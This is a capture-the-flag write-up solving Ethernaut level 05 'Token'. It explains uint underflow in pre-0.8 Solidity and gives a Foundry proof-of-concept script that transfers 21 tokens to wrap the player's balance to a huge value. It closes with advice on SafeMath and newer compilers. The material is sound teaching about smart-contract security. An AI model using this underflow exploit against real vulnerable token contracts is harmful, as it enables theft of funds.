Ethernaut Level 05 - Token

Ethernaut Level 05 - Token

Analysis and solution for Ethernaut's level 05 - Token, with Solidity and Foundry

Objectives

This level requires us to fund our account with additional tokens. We are funded with 20 tokens initially to get started.

To understand this level, we must know the concept of overflows and underflows. Let's dive in.


Overflows and Underflows in Solidity

All the variables have a maximum capacity that they can store. Let's take the example of uint8. The largest number which it can store is 2^8-1 which comes out to be 255. The number of bits determines directly the range for their values. So an 8-bit variable type can store at most 11111111 in binary.

Integer Overflow is a scenario where the unsigned variable types reach their maximum capacity. When it can't hold anymore, it just resets back to its initial minimum point which was 0.

For example, if you take an unsigned 8 bit variable, uint8, with a value of 255 and add 1 to it. What do you think will be the answer? 0 or 256? Let me show you a practical deployment.

Let's execute the following test script and see what we get in the console.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Test.sol";

contract Testme is Test {

    function test() external {
        vm.startBroadcast();

        uint8 a = 255;
        uint8 b = 1;
        console.log("The value of a + b is : ", a + b);

        vm.stopBroadcast();
    }
}
forge test --match-path test/test.sol -vvvv --rpc-url $RPC_URL

image.png This proves that the variable was overflowed and its value reached 0 after 255.

The opposite goes for underflows. Taking uint8 as an example, if you subtract 2 from 1, the result will be 255.


Analysis

To complete this level, we have to underflow the token balance. Let's go through the contract.

The function of importance is transfer().

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}

This function is responsible for the transfer of tokens and accepts an address to which to send the tokens and a value specifying how many tokens to send.

We can check our initial token balance either using the console - await contract.balanceOf(player) or by using foundry scripts.

  1. The first line has a validation that makes sure that our balance does not go negative when we transfer the tokens. It should always be >=0.
  2. The second line deducts the value from our balance.
  3. The thirst line adds the token value to the balance of the receiver (_to).

The vulnerability lies in the second line which is deducting our balance.

In older versions of Solidity, there was no validation for overflows and underflows therefore developers had to implement their own checks. A SafeMath library was also introduced for this purpose. But since Solidity 0.8.0+, there's no need to use the SafeMath since it natively checks the variables for overflows and underflows and reverts if detected.

The contract's Solidity version is ^0.6.0 which means that it is prone to overflows and underflows.

Since the objective of the level is for us to acquire some tokens, we'll have to exploit the following statements

require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;

What if we deposit a token value of 21? It'll probably underflow.

  1. The require statement will try to calculate 20 - 21 which will result in a very large value which will always be greater than 0.
  2. The statement balances[msg.sender] -= _value; will be balances[msg.sender] = 20 - 21. Therefore, it'll also store the same large value. (The value being the largest number uint256 can store).

The Exploit

Here's how our PoC script looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel05.sol";

contract POC is Script {
    Token level5 = Token(0x64db54633180E5C63Ca63393324a8E0843dFa485);

    function run() external {
        vm.startBroadcast();

        console.log("Current balance is :", level5.balanceOf(msg.sender));
        level5.transfer(0xD6aE8250b8348C94847280928c79fb3b63cA453e, 21);
        console.log("New balance is :", level5.balanceOf(msg.sender));

        vm.stopBroadcast();
    }
}

We can execute this with forge:

forge script ./script/level05.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL

We are just calling the transfer() function with a random address and 21 tokens to send to that address. The value will overflow as discussed above and will result in our account having a lot more tokens. The logged output can be seen below:

image.png

Now we can just submit the instance to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry


Takeaways

  • Use a recent version of Solidity, something after 0.8.0 to automatically prevent overflow and underflows.
  • If you are still on an older version, make use of OZ's SafeMath library.
  • If you are on Solidity >= 0.8.0, and are sure that the statement won't overflow or underflow, make use of unchecked as it'll save you some gas.

References